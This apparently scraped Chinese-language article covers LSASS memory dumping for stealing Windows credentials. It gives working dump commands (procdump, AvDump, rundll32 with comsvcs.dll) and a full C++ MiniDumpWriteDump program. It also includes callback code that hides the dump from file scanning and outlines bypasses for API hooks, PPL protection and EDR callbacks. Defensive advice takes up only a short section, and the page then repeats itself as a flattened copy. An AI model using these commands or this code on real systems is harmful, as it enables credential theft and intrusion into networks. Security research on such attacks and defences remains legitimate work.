域渗透-一文了解lsass内存转储攻防技术
字数 1397 2025-08-25 22:58:35

LSASS内存转储攻防技术详解

引言

LSASS(本地安全认证子系统服务)是Windows系统中负责安全认证的核心组件,存储着用户登录凭证(包括明文密码和哈希)。在域渗透中,转储LSASS内存是获取凭证的重要手段。随着攻防对抗升级,安全产品采用了内存保护、PPL(Protected Process Light)、杀dump文件、API hook等多种防御手段,传统内存转储技术已逐渐失效。

常规转储技术

1. Mimikatz直接提取

Mimikatz的logonpasswords模块通过以下步骤提取凭证:

  1. 获取SeDebug权限
  2. 打开LSASS进程,定位lsasrv.dll模块
  3. 在lsasrv.dll中搜索特定表达式(不同Windows版本表达式不同)
  4. 通过偏移量获取IV和AES/DES密钥指针
  5. 定位logon sessions并解析凭证信息
  6. 使用获取的密钥解密哈希

2. 白名单工具转储

利用系统自带或可信签名的工具转储LSASS内存:

Procdump

procdump.exe -accepteula -ma lsass.exe lsass.dmp
# 或克隆LSASS进程转储避免直接读取
procdump.exe -accepteula -r -ma lsass.exe lsass.dmp

AvDump(Avast自带)

.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0

其他工具

  • SQLDumper.exe
  • rdleakdiag.exe
  • adplus.exe
  • rundll32调用comsvcs.dll
rundll32.exe C:\windows\System32\comsvcs.dll,MiniDump <pid> C:\temp\lsass.dmp full

3. 编程实现转储

C++实现

#include <windows.h>
#include <DbgHelp.h>
#include <TlHelp32.h>

int main() {
    DWORD lsassPID = 0;
    HANDLE lsassHandle = NULL;
    HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    
    // 获取LSASS PID
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    
    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            lsassPID = processEntry.th32ProcessID;
        }
    }
    
    // 打开LSASS进程句柄
    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
    
    // 转储内存
    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
    
    return 0;
}

其他语言实现

  • C#: 通过反射加载绕过检测
  • PowerShell: 调用MiniDumpWriteDump API
  • Nim: 编译为原生二进制

高级绕过技术

1. 杀转储文件绕过

使用MiniDump回调函数将结果保存在内存中加密:

BOOL CALLBACK minidumpCallback(PVOID callbackParam, const PMINIDUMP_CALLBACK_INPUT callbackInput, PMINIDUMP_CALLBACK_OUTPUT callbackOutput) {
    switch (callbackInput->CallbackType) {
        case IoStartCallback:
            callbackOutput->Status = S_FALSE;
            break;
            
        case IoWriteAllCallback:
            // 将dump数据保存到内存缓冲区
            source = callbackInput->Io.Buffer;
            destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
            RtlCopyMemory(destination, source, callbackInput->Io.BufferBytes);
            break;
            
        case IoFinishCallback:
            callbackOutput->Status = S_OK;
            break;
    }
    return TRUE;
}

2. 绕过API Hook

安全产品通过用户模式API Hook拦截MiniDumpWriteDump调用:

  • 使用直接系统调用(Syscall)绕过
  • 使用崩溃法(LsassSilentProcessExit)
  • 使用RPC+SSP技术

RPC+SSP技术

  1. 编写恶意SSP DLL实现内存转储
  2. 通过RPC调用AddSecurityPackage加载DLL
  3. LSASS自行加载DLL并执行转储代码

3. 绕过PPL保护

PPL(Protected Process Light)保护进程不被篡改和终止。

内核态绕过

  • 使用签名的驱动修改_EPROCESS结构中的_PS_PROTECTION字段
  • 使用EDRSandBlast等工具删除EDR内核回调

用户态绕过

  1. 从其他进程复制句柄:查找已打开LSASS句柄的进程(如防病毒软件),复制句柄
  2. PPLDump技术
    • 利用\Known DLLs机制实现DLL劫持
    • 通过符号链接将恶意DLL映射到受保护进程
    • 在services.exe等高级别进程中执行转储代码

防御检测建议

  1. 启用PPL保护:通过组策略配置LSASS为PPL保护
  2. 限制调试权限:严格控制SeDebugPrivilege分配
  3. 监控敏感API调用:特别是MiniDumpWriteDump
  4. 检测异常进程行为:如LSASS异常崩溃、内存读取
  5. 启用Credential Guard:使用虚拟化保护凭证

总结

LSASS内存转储技术已发展出多种绕过防御的方法,从最初的直接提取到现在的RPC+SSP、PPL绕过等高级技术。防御方需要采用多层次防护策略,包括PPL、Credential Guard、API Hook监控等。攻防对抗将持续升级,安全团队需保持对最新技术的跟踪和研究。

LSASS内存转储攻防技术详解 引言 LSASS(本地安全认证子系统服务)是Windows系统中负责安全认证的核心组件,存储着用户登录凭证(包括明文密码和哈希)。在域渗透中,转储LSASS内存是获取凭证的重要手段。随着攻防对抗升级,安全产品采用了内存保护、PPL(Protected Process Light)、杀dump文件、API hook等多种防御手段,传统内存转储技术已逐渐失效。 常规转储技术 1. Mimikatz直接提取 Mimikatz的 logonpasswords 模块通过以下步骤提取凭证: 获取SeDebug权限 打开LSASS进程,定位lsasrv.dll模块 在lsasrv.dll中搜索特定表达式(不同Windows版本表达式不同) 通过偏移量获取IV和AES/DES密钥指针 定位logon sessions并解析凭证信息 使用获取的密钥解密哈希 2. 白名单工具转储 利用系统自带或可信签名的工具转储LSASS内存: Procdump AvDump(Avast自带) 其他工具 SQLDumper.exe rdleakdiag.exe adplus.exe rundll32调用comsvcs.dll 3. 编程实现转储 C++实现 其他语言实现 C#: 通过反射加载绕过检测 PowerShell: 调用MiniDumpWriteDump API Nim: 编译为原生二进制 高级绕过技术 1. 杀转储文件绕过 使用MiniDump回调函数将结果保存在内存中加密: 2. 绕过API Hook 安全产品通过用户模式API Hook拦截MiniDumpWriteDump调用: 使用直接系统调用(Syscall)绕过 使用崩溃法(LsassSilentProcessExit) 使用RPC+SSP技术 RPC+SSP技术 编写恶意SSP DLL实现内存转储 通过RPC调用AddSecurityPackage加载DLL LSASS自行加载DLL并执行转储代码 3. 绕过PPL保护 PPL(Protected Process Light)保护进程不被篡改和终止。 内核态绕过 使用签名的驱动修改_ EPROCESS结构中的_ PS_ PROTECTION字段 使用EDRSandBlast等工具删除EDR内核回调 用户态绕过 从其他进程复制句柄 :查找已打开LSASS句柄的进程(如防病毒软件),复制句柄 PPLDump技术 : 利用\Known DLLs机制实现DLL劫持 通过符号链接将恶意DLL映射到受保护进程 在services.exe等高级别进程中执行转储代码 防御检测建议 启用PPL保护 :通过组策略配置LSASS为PPL保护 限制调试权限 :严格控制SeDebugPrivilege分配 监控敏感API调用 :特别是MiniDumpWriteDump 检测异常进程行为 :如LSASS异常崩溃、内存读取 启用Credential Guard :使用虚拟化保护凭证 总结 LSASS内存转储技术已发展出多种绕过防御的方法,从最初的直接提取到现在的RPC+SSP、PPL绕过等高级技术。防御方需要采用多层次防护策略,包括PPL、Credential Guard、API Hook监控等。攻防对抗将持续升级,安全团队需保持对最新技术的跟踪和研究。